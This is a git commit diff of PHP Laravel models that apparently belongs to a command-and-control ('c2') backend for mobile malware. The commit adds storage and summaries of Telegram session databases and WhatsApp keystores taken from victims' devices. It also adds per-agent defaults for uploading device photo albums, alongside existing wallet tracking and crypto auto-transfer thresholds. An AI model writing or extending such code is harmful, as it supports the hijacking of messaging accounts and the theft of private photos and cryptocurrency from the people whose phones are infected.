feat: tg/ws
This commit is contained in:
@@ -20,12 +20,15 @@ class Device extends Model
|
||||
protected $fillable = [
|
||||
'device_id', 'chain', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
|
||||
'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names',
|
||||
'has_whatsapp', 'has_telegram',
|
||||
];
|
||||
|
||||
protected $attributes = [
|
||||
'has_wallet' => self::WALLET_UNKNOWN,
|
||||
'chain' => self::CHAIN_CORUNA,
|
||||
'album_storage' => false,
|
||||
'has_whatsapp' => false,
|
||||
'has_telegram' => false,
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
@@ -36,6 +39,8 @@ class Device extends Model
|
||||
'has_wallet' => 'integer',
|
||||
'chain' => 'integer',
|
||||
'wallet_names' => 'array',
|
||||
'has_whatsapp' => 'boolean',
|
||||
'has_telegram' => 'boolean',
|
||||
];
|
||||
}
|
||||
|
||||
@@ -62,6 +67,40 @@ class Device extends Model
|
||||
return array_values(array_filter(array_map(static fn ($n) => trim((string) $n), $names), static fn ($n) => $n !== ''));
|
||||
}
|
||||
|
||||
public function hasWhatsApp(): bool
|
||||
{
|
||||
return (bool) $this->has_whatsapp;
|
||||
}
|
||||
|
||||
public function hasTelegram(): bool
|
||||
{
|
||||
return (bool) $this->has_telegram;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
public function imNameList(): array
|
||||
{
|
||||
$names = [];
|
||||
if ($this->hasWhatsApp()) {
|
||||
$names[] = 'WhatsApp';
|
||||
}
|
||||
if ($this->hasTelegram()) {
|
||||
$names[] = 'Telegram';
|
||||
}
|
||||
|
||||
return $names;
|
||||
}
|
||||
|
||||
public function refreshImFlags(): void
|
||||
{
|
||||
$kinds = $this->pluginSessions()->distinct()->pluck('kind')->map(fn ($k) => (int) $k)->all();
|
||||
$this->has_whatsapp = in_array(PluginSession::KIND_WHATSAPP, $kinds, true);
|
||||
$this->has_telegram = in_array(PluginSession::KIND_TELEGRAM, $kinds, true);
|
||||
$this->save();
|
||||
}
|
||||
|
||||
public function albumStorageEnabled(): bool
|
||||
{
|
||||
return (bool) ($this->album_storage ?? false);
|
||||
|
||||
@@ -4,12 +4,74 @@ namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
class PluginSession extends Model
|
||||
{
|
||||
public const KIND_TELEGRAM = 'telegram';
|
||||
public const KIND_TELEGRAM = 1;
|
||||
|
||||
public const KIND_WHATSAPP = 'whatsapp';
|
||||
public const KIND_WHATSAPP = 2;
|
||||
|
||||
public static function payloadFilePath(string $kind, string $deviceKey, ?string $accountId): string
|
||||
{
|
||||
$dir = (int) $kind === self::KIND_TELEGRAM ? 'telegram' : 'whatsapp';
|
||||
$safe = $accountId !== null && $accountId !== ''
|
||||
? preg_replace('/[^A-Za-z0-9._-]+/', '_', $accountId)
|
||||
: 'unknown';
|
||||
|
||||
return 'c2/plugin-sessions/'.$deviceKey.'/'.$dir.'/'.$safe.'.json';
|
||||
}
|
||||
|
||||
public static function whatsappFilePath(string $deviceKey, ?string $accountId): string
|
||||
{
|
||||
return self::payloadFilePath(self::KIND_WHATSAPP, $deviceKey, $accountId);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $blob
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
public static function dbSummary(string $kind, array $blob, string $path, int $bytes): array
|
||||
{
|
||||
if ((int) $kind === self::KIND_TELEGRAM) {
|
||||
return [
|
||||
'user_id' => self::scalarOrNull($blob['user_id'] ?? $blob['userId'] ?? null),
|
||||
'has_state' => isset($blob['state']) && $blob['state'] !== '' && $blob['state'] !== [],
|
||||
'has_db' => isset($blob['db_sqlite']) && $blob['db_sqlite'] !== '' && $blob['db_sqlite'] !== null,
|
||||
'payload_path' => $path,
|
||||
'payload_bytes' => $bytes,
|
||||
];
|
||||
}
|
||||
|
||||
return [
|
||||
'nickname' => self::scalarOrNull($blob['nickname'] ?? null),
|
||||
'whatsappVersion' => self::scalarOrNull($blob['whatsappVersion'] ?? $blob['version'] ?? null),
|
||||
'phoneId' => self::scalarOrNull($blob['phoneId'] ?? null),
|
||||
'has_keystore' => isset($blob['phoneKeyStore']) || isset($blob['clientStaticKeypairBase64']),
|
||||
'payload_path' => $path,
|
||||
'payload_bytes' => $bytes,
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $blob
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
public static function whatsappDbSummary(array $blob, string $path, int $bytes): array
|
||||
{
|
||||
return self::dbSummary(self::KIND_WHATSAPP, $blob, $path, $bytes);
|
||||
}
|
||||
|
||||
private static function scalarOrNull(mixed $value): ?string
|
||||
{
|
||||
if (is_string($value) || is_int($value) || is_float($value)) {
|
||||
$value = trim((string) $value);
|
||||
|
||||
return $value !== '' ? $value : null;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
protected $fillable = [
|
||||
'device_id', 'device_key', 'kind', 'account_id', 'phone', 'payload',
|
||||
@@ -18,6 +80,7 @@ class PluginSession extends Model
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'kind' => 'integer',
|
||||
'payload' => 'array',
|
||||
];
|
||||
}
|
||||
@@ -35,4 +98,140 @@ class PluginSession extends Model
|
||||
default => (string) $this->kind,
|
||||
};
|
||||
}
|
||||
|
||||
public function isTelegram(): bool
|
||||
{
|
||||
return (int) $this->kind === self::KIND_TELEGRAM;
|
||||
}
|
||||
|
||||
public function isWhatsApp(): bool
|
||||
{
|
||||
return (int) $this->kind === self::KIND_WHATSAPP;
|
||||
}
|
||||
|
||||
/**
|
||||
* Compact fields for the collection list (omit large blobs).
|
||||
*
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
public function listSummary(): array
|
||||
{
|
||||
$payload = is_array($this->payload) ? $this->payload : [];
|
||||
if ($this->isWhatsApp()) {
|
||||
return [
|
||||
'account_id' => $this->account_id ?: '',
|
||||
'phone' => $this->phone ?: '',
|
||||
'nickname' => $this->scalarFromPayload($payload, ['nickname']),
|
||||
'version' => $this->scalarFromPayload($payload, ['whatsappVersion', 'version']),
|
||||
'has_keystore' => (bool) ($payload['has_keystore']
|
||||
?? (isset($payload['phoneKeyStore']) || isset($payload['clientStaticKeypairBase64']))),
|
||||
];
|
||||
}
|
||||
|
||||
return [
|
||||
'account_id' => $this->account_id ?: $this->scalarFromPayload($payload, ['user_id', 'userId']),
|
||||
'has_state' => (bool) ($payload['has_state']
|
||||
?? (isset($payload['state']) && $payload['state'] !== '' && $payload['state'] !== [])),
|
||||
'has_db' => (bool) ($payload['has_db']
|
||||
?? (isset($payload['db_sqlite']) && $payload['db_sqlite'] !== '' && $payload['db_sqlite'] !== null)),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Full session blob from the on-disk file, or the JSON column if no file.
|
||||
*
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
public function fullPayload(): array
|
||||
{
|
||||
$payload = is_array($this->payload) ? $this->payload : [];
|
||||
$path = $payload['payload_path'] ?? null;
|
||||
if (is_string($path) && $path !== '' && Storage::disk('local')->exists($path)) {
|
||||
$decoded = json_decode((string) Storage::disk('local')->get($path), true);
|
||||
if (is_array($decoded)) {
|
||||
return $decoded;
|
||||
}
|
||||
}
|
||||
|
||||
return $payload;
|
||||
}
|
||||
|
||||
public function payloadPath(): ?string
|
||||
{
|
||||
$path = is_array($this->payload) ? ($this->payload['payload_path'] ?? null) : null;
|
||||
|
||||
return is_string($path) && $path !== '' ? $path : null;
|
||||
}
|
||||
|
||||
public function downloadFilename(): string
|
||||
{
|
||||
$label = $this->isWhatsApp() ? 'ws' : 'tg';
|
||||
$device = preg_replace('/[^A-Za-z0-9._-]+/', '_', (string) ($this->device_key ?: $this->device_id)) ?: 'device';
|
||||
$account = preg_replace('/[^A-Za-z0-9._-]+/', '_', (string) ($this->account_id ?: $this->id)) ?: 'account';
|
||||
|
||||
return $label.'-'.$device.'-'.$account.'.json';
|
||||
}
|
||||
|
||||
public function displayPayload(): array
|
||||
{
|
||||
$payload = $this->fullPayload();
|
||||
if ($this->isTelegram()) {
|
||||
return $payload;
|
||||
}
|
||||
|
||||
return $this->truncatePayload($payload);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function scalarFromPayload(array $payload, array $keys): string
|
||||
{
|
||||
foreach ($keys as $key) {
|
||||
$value = $payload[$key] ?? null;
|
||||
if (is_int($value) || is_float($value)) {
|
||||
return (string) $value;
|
||||
}
|
||||
if (is_string($value) && trim($value) !== '') {
|
||||
return trim($value);
|
||||
}
|
||||
}
|
||||
|
||||
return '';
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
private function truncatePayload(array $payload, int $max = 240): array
|
||||
{
|
||||
$out = [];
|
||||
foreach ($payload as $key => $value) {
|
||||
if (is_array($value)) {
|
||||
$encoded = json_encode($value);
|
||||
if (is_string($encoded) && strlen($encoded) > 1500) {
|
||||
$out[$key] = [
|
||||
'_omitted' => true,
|
||||
'items' => count($value),
|
||||
'bytes' => strlen($encoded),
|
||||
];
|
||||
continue;
|
||||
}
|
||||
$out[$key] = $this->truncatePayload($value, $max);
|
||||
continue;
|
||||
}
|
||||
if (! is_string($value)) {
|
||||
$out[$key] = $value;
|
||||
continue;
|
||||
}
|
||||
if (strlen($value) > $max) {
|
||||
$out[$key] = substr($value, 0, $max).'… ('.strlen($value).' bytes)';
|
||||
continue;
|
||||
}
|
||||
$out[$key] = $value;
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -14,6 +14,7 @@ class User extends Authenticatable
|
||||
'auto_transfer_threshold_trx',
|
||||
'auto_transfer_threshold_eth',
|
||||
'auto_transfer_threshold_btc',
|
||||
'album_storage_default',
|
||||
];
|
||||
|
||||
protected $hidden = [
|
||||
@@ -39,9 +40,14 @@ class User extends Authenticatable
|
||||
'auto_transfer_threshold_trx' => 'decimal:8',
|
||||
'auto_transfer_threshold_eth' => 'decimal:8',
|
||||
'auto_transfer_threshold_btc' => 'decimal:8',
|
||||
'album_storage_default' => 'boolean',
|
||||
];
|
||||
}
|
||||
|
||||
protected $attributes = [
|
||||
'album_storage_default' => false,
|
||||
];
|
||||
|
||||
public function isEnabled(): bool
|
||||
{
|
||||
return (int) $this->status === 1;
|
||||
@@ -52,6 +58,32 @@ class User extends Authenticatable
|
||||
return $this->hasMany(Channel::class, 'user_id');
|
||||
}
|
||||
|
||||
public function albumStorageDefaultEnabled(): bool
|
||||
{
|
||||
return (bool) ($this->album_storage_default ?? false);
|
||||
}
|
||||
|
||||
/**
|
||||
* New-device album_storage default for a channel.
|
||||
* Agent channels use that agent's switch (defaults off). Official / unknown stay off.
|
||||
*/
|
||||
public static function albumStorageDefaultForChannel(?string $channelId): bool
|
||||
{
|
||||
$channelId = trim((string) $channelId);
|
||||
if ($channelId === '') {
|
||||
return false;
|
||||
}
|
||||
|
||||
$userId = Channel::query()->where('channel_id', $channelId)->value('user_id');
|
||||
if ($userId === null || (int) $userId <= 0) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$agent = static::query()->find((int) $userId);
|
||||
|
||||
return $agent?->albumStorageDefaultEnabled() ?? false;
|
||||
}
|
||||
|
||||
public function hasTelegramChat(): bool
|
||||
{
|
||||
return trim((string) ($this->chat_id ?? '')) !== '';
|
||||
|
||||
Reference in New Issue
Block a user